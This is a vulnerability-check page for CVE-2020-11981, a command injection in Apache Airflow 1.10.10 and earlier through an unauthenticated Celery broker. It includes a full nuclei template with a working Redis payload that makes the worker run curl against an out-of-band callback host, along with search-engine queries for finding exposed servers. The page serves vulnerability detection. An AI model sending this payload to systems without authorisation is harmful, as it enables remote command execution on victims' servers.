Apache Airflow <=1.10.10 - Command Injection

criticalseverity

9.8CVSS score

36.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.

Fix

Upgrade apache-airflow to version 1.10.11 or higher.

How to confirm it

Send: tcp probe to {{Hostname}}, {{Host}}:6379
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2020-11981 -u <target>

The full check

id: CVE-2020-11981

info:
  name: Apache Airflow <=1.10.10 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: Upgrade apache-airflow to version 1.10.11 or higher.
  reference:
    - https://github.com/apache/airflow/pull/9178
    - https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981
    - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
    - https://github.com/t0m4too/t0m4to
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11981
    cwe-id: CWE-78
    epss-score: 0.36787
    epss-percentile: 0.98518
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: airflow
    shodan-query:
      - product:"redis"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
    fofa-query:
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
      - title="sign in - airflow"
    google-query:
      - intitle:"airflow - dags" || http.html:"apache airflow"
      - intitle:"sign in - airflow"
  tags: cve,cve2020,network,redis,unauth,apache,airflow,vulhub,intrusive,tcp,vuln

variables:
  data: "*3\r

    $5\r

    LPUSH\r

    $7\r

    default\r

    $936\r

    {\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \""
  encode1: '[[["curl", "http://'
  encode2: '"]], {}, {"chain": null, "chord": null, "errbacks": null, "callbacks": null}]'
  end: '"}'

tcp:
  - inputs:
      - data: "{{data+base64(encode1+'{{interactsh-url}}'+encode2)+concat(end+ '\r

          ')}}"
        read: 1024

    host:
      - "{{Hostname}}"
      - "{{Host}}:6379"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from